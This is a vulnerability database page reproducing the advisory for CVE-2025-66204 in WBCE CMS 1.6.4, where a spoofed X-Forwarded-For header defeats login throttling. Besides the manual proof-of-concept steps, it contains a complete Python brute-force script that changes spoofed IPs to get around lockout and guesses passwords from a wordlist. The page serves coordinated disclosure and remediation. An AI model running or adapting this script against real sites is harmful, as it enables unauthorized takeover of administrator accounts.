| Reporter | Title | Published | Views | Family All 9 |
|---|---|---|---|---|
| WBCE CMS 安全漏洞 | 9 Dec 202500:00 | – | cnnvd | |
| CVE-2025-66204 | 8 Dec 202523:50 | – | cve | |
| CVE-2025-66204 WBCE CMS allows brute-force protection bypass using X-Forwarded-For header | 8 Dec 202523:50 | – | cvelist | |
| EUVD-2025-201840 | 8 Dec 202523:50 | – | euvd | |
| CVE-2025-66204 | 9 Dec 202500:15 | – | nvd | |
| CVE-2025-66204 WBCE CMS allows brute-force protection bypass using X-Forwarded-For header | 8 Dec 202523:50 | – | osv | |
| PT-2025-49680 | 8 Dec 202500:00 | – | ptsecurity | |
| CVE-2025-66204 | 10 Dec 202500:28 | – | redhatcve | |
| CVE-2025-66204 WBCE CMS allows brute-force protection bypass using X-Forwarded-For header | 8 Dec 202523:50 | – | vulnrichment |
# CVE-2025-66204: WBCE CMS allows brute-force protection bypass using X-Forwarded-For header
## Overview
| Field | Details |
|---|---|
| **CVE ID** | [CVE-2025-66204](https://nvd.nist.gov/vuln/detail/CVE-2025-66204) |
| **Severity** | MEDIUM |
| **Advisory** | [View Advisory](https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw) |
| **Discovered by** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## Affected Products
- **WBCE/WBCE_CMS**
## Details
### Summary
A brute-force protection bypass exists in WBCE CMS 1.6.4.
The login throttling mechanism blocks an IP address after 5 invalid login attempts.
However, the application fully trusts the X-Forwarded-For header without validating it or restricting its usage.
By modifying X-Forwarded-For on each request, an attacker can reset the counter indefinitely and gain unlimited password guessing attempts, effectively bypassing all brute-force protection.
### Details
WBCE CMS determines the client IP using the following logic:
1. If the request contains the header X-Forwarded-For, the application blindly trusts its value.
2. Otherwise, it falls back to REMOTE_ADDR.
Although WBCE is not running behind a reverse proxy by default, the login endpoint still parses X-Forwarded-For whenever it is present, even if added manually by the client.
Because the application does not verify that the request originates from a trusted proxy, an attacker can inject their own X-Forwarded-For header with any arbitrary IP address.
This results in:
- the attacker sends 5 invalid passwords using X-Forwarded-For: 10.0.0.1 → that IP is blocked
- attacker sends next request with X-Forwarded-For: 10.0.0.2 → treated as a completely new IP
- brute-force protection can be bypassed indefinitely
This behavior is reproducible on a clean, default installation with no reverse proxy in front of WBCE CMS.
### PoC
Steps
Attempt login with wrong password and send header:
X-Forwarded-For: 10.0.0.10
Repeat until lockout occurs (after 5 attempts).
<img width="1905" height="845" alt="image" src="https://github.com/user-attachments/assets/69b40271-21ba-48eb-8b14-912087a0a6c2" />
Change header to:
X-Forwarded-For: 10.0.0.11
Login attempts are reset and allowed again.
<img width="1912" height="921" alt="image" src="https://github.com/user-attachments/assets/bbdad8f5-c7c4-467e-b5f8-fb0650660b4c" />
Rotate through 10.0.0.x and brute-force without any limitation.
Automated PoC Script
I built a Python script that performs the attack automatically, rotating spoofed IPs every four attempts and detecting successful login.
<img width="538" height="406" alt="image" src="https://github.com/user-attachments/assets/ed526674-aa39-4e7b-9f9a-21ac17309525" />
...
<img width="588" height="361" alt="image" src="https://github.com/user-attachments/assets/b522c8a8-1905-44c8-a3c3-46fc93042ee8" />
<img width="445" height="477" alt="image" src="https://github.com/user-attachments/assets/ba89bb3c-9bee-44c9-9db1-46d5877e40d8" />
This proves complete bypass of the protection.
```python
import requests
# ==========================
# CONFIGURATION
# ==========================
TARGET_URL = "http://localhost/wbce/admin/login/index.php"
USERNAME = "user"
# Extracted from intercepted login request
USERNAME_FIELDNAME = "username_A9BC72FF1D81"
PASSWORD_FIELDNAME = "password_A9BC72FF1D81"
USERNAME_META_FIELD = "username_fieldname"
PASSWORD_META_FIELD = "password_fieldname"
WORDLIST = "wordlist.txt"
ERROR_STRING = "Loginname or password incorrect"
BLOCK_STRING = "Excessive Invalid Logins"
MAX_ATTEMPTS_PER_IP = 4
SPOOF_IP_BASE = "10.0.0."
# Optional Burp Suite proxy
USE_BURP = False
PROXIES = {
"http": "http://127.0.0.1:8080",
"https": "http://127.0.0.1:8080",
}
session = requests.Session()
if USE_BURP:
session.proxies.update(PROXIES)
session.verify = False
# ==========================
# LOGIN REQUEST
# ==========================
def try_login(ip, password):
"""Send one login attempt with spoofed X-Forwarded-For."""
headers = {
"X-Forwarded-For": ip,
"User-Agent": "WBCE-Bruteforce-POC",
}
data = {
USERNAME_META_FIELD: USERNAME_FIELDNAME,
PASSWORD_META_FIELD: PASSWORD_FIELDNAME,
USERNAME_FIELDNAME: USERNAME,
PASSWORD_FIELDNAME: password,
"url": "",
"submit": "Login",
}
resp = session.post(TARGET_URL, headers=headers, data=data, allow_redirects=True)
text = resp.text
failed = ERROR_STRING in text
blocked = BLOCK_STRING in text
success = not failed and not blocked
return success, failed, blocked, resp
# ==========================
# MAIN ROUTINE
# ==========================
def main():
print("[*] Loading wordlist...")
with open(WORDLIST, "r", encoding="utf-8") as f:
passwords = [p.strip() for p in f if p.strip()]
print(f"[*] Loaded {len(passwords)} passwords.\n")
current_ip_counter = 1
attempts_with_ip = 0
for attempt_no, password in enumerate(passwords, start=1):
ip = f"{SPOOF_IP_BASE}{current_ip_counter}"
success, failed, blocked, resp = try_login(ip, password)
print(
f"Attempt {attempt_no:03d} | IP={ip} | pass='{password}' "
f"| failed={failed} blocked={blocked}"
)
if success:
print("\n[+] SUCCESSFUL LOGIN!")
print(f" Username: {USERNAME}")
print(f" Password: {password}")
print(f" IP used : {ip}")
return
attempts_with_ip += 1
# Switch spoofed IP after lockout threshold
if attempts_with_ip >= MAX_ATTEMPTS_PER_IP:
print(f"[*] Switching IP after {MAX_ATTEMPTS_PER_IP} attempts.\n")
current_ip_counter += 1
attempts_with_ip = 0
print("\n[-] Password not found in wordlist.")
if __name__ == "__main__":
main()
```
### Impact
1. Unlimited brute-forcing of any account;
2. Possible compromise of administrator accounts;
3. No rate-limiting enforcement;
## References
- https://github.com/WBCE/WBCE_CMS/security/advisories/GHSA-f676-f375-m7mw
- https://github.com/WBCE/WBCE_CMS/commit/3765baddf27f31bbbea9c0228c452268621b25e5
- https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.5
## Disclaimer
This CVE was responsibly disclosed following coordinated vulnerability disclosure practices. The information provided here is for educational and defensive purposes only.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation